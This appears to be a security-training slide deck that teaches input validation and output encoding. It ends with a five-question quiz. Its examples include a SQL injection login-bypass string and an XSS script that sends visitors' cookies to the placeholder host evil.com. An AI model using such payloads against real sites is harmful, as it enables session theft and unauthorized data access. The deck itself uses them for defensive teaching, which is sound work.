01 / 21

Input Validation &
Output Encoding

Learn how applications defend against malicious data by checking what goes in and safely transforming what comes out.

Cyber Security

What Is User Input?

Every time you type into a search bar, fill out a form, upload a file, or click a URL, you are sending input to a web application. The server must decide: is this data safe to use, or could it cause harm?

User Input Server Application Output Browser Display

Defining Input Validation

Input validation is the process of checking whether data received from a user (or any external source) conforms to the expected format, type, length, and range before the application processes it.

Type Check
Is the value a number, a string, a date, or a boolean?
Length Check
Is it within the allowed min/max character count?
Range Check
Does a numeric value fall within acceptable bounds?

Defining Output Encoding

Output encoding (also called escaping) is the process of converting special characters in data into a safe representation before the data is rendered in a browser, database query, or other interpreter.

HTML Encoding
< becomes &lt; so the browser treats it as text, not a tag.
URL Encoding
Spaces become %20, preserving meaning inside a URL.
JS Encoding
Quotes and backslashes are escaped so they cannot break scripts.

Why Does It Matter?

Without these defenses, attackers can inject malicious code that the application trusts and executes. Two of the most common injection attacks are:

SQL Injection (SQLi)
Attacker inserts database commands into a form field, gaining access to read, modify, or delete data.
Cross-Site Scripting (XSS)
Attacker injects JavaScript into a page that runs in other users' browsers, stealing sessions or data.

The Core Defense Rule

Input Validation Allowlist format Check type & length Reject bad data REJECT Application Logic Process safe data Output Encoding Escape for context HTML / URL / JS Neutralize specials SAFE OUTPUT

Allowlist vs Denylist

There are two fundamental strategies for input validation. One is far more secure than the other.

Allowlist (Whitelist) Denylist (Blacklist)
Approach Define what IS allowed Define what IS NOT allowed
Default Deny everything unless matched Allow everything unless matched
New attacks Blocked automatically Pass through until list is updated
Security Stronger Weaker

Validation vs Encoding

Input Validation Output Encoding
When Before processing Before rendering
Purpose Reject malformed data Neutralize special characters
Prevents SQLi, command injection, buffer overflow XSS, HTML injection
Analogy Bouncer checking IDs Translator converting languages
Location Server-side (and client-side for UX) Right before output context

How to Apply: Step-by-Step

1
Identify all input points: forms, URL parameters, cookies, HTTP headers, APIs, file uploads.
2
Define an allowlist for each field: specify the exact type, format, length, and allowed character set.
3
Validate server-side: never trust client-side validation alone: it can be bypassed.
4
Use parameterized queries for database access to prevent SQL injection.
5
Encode all output for its specific context: HTML body, HTML attributes, JavaScript, CSS, or URL.

Example 1: SQL Injection

A login form takes a username. An attacker types:

// Attacker input:
' OR '1'='1' --

Without validation, the server builds this query:

SELECT * FROM users WHERE name = '' OR '1'='1' --'

Example 2: Cross-Site Scripting

A comment box accepts user text and displays it on a page. An attacker submits:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Without output encoding, the browser executes this script for every visitor, sending their cookies to the attacker.

Safe vs Unsafe Code

Compare two approaches for a search feature that displays the user's query:

// UNSAFE: directly inserting user input
document.getElementById('results').innerHTML = userQuery;

// SAFE: encoding before inserting
document.getElementById('results').textContent = userQuery;

Context-Dependent Encoding

The correct encoding depends on where the data will appear. Using the wrong encoding for the wrong context leaves vulnerabilities open.

User Data HTML Body < > & " HTML Attribute Encode quotes, spaces JavaScript Escape \' \" \\ URL Parameter %20 %3C %3E

Client vs Server Validation

Browser Client-side validation Can be bypassed! DevTools, Burp Suite, direct HTTP requests UX only Network Server Server-side validation Cannot be bypassed Runs on your controlled environment Security layer

Common Mistakes

✕ Client-only validation
Relying solely on JavaScript in the browser. Attackers bypass it trivially with browser dev tools.
✕ Using a denylist
Trying to block known bad patterns instead of defining what is allowed. New attack strings slip through.
✕ Wrong encoding context
Applying HTML encoding when data is placed inside a JavaScript string or URL, leaving the real vulnerability open.
✕ Encoding instead of validating
Using encoding as a replacement for validation. Both are needed: validation rejects bad data, encoding neutralizes output.

Summary: Defense Layers

Defense What It Does Prevents Example
Input Validation Checks format, type, length SQLi, command injection Reject non-numeric age field
Output Encoding Escapes special characters XSS, HTML injection < becomes &lt;
Parameterized Queries Separates code from data SQL injection Prepared statements
Allowlisting Only permits known-good values All injection types Regex: [a-zA-Z0-9]

Question 1 of 5

What is the primary purpose of input validation?

Question 2 of 5

An attacker enters <script>alert('XSS')</script> into a comment field. Which defense prevents the browser from executing this script?

Question 3 of 5

Why is an allowlist approach considered more secure than a denylist?

Question 4 of 5

A developer adds JavaScript validation to a registration form that requires the email field to match a valid format. Is this sufficient for security?

Question 5 of 5

User data will be inserted into a JavaScript string on a web page. Which encoding should be applied?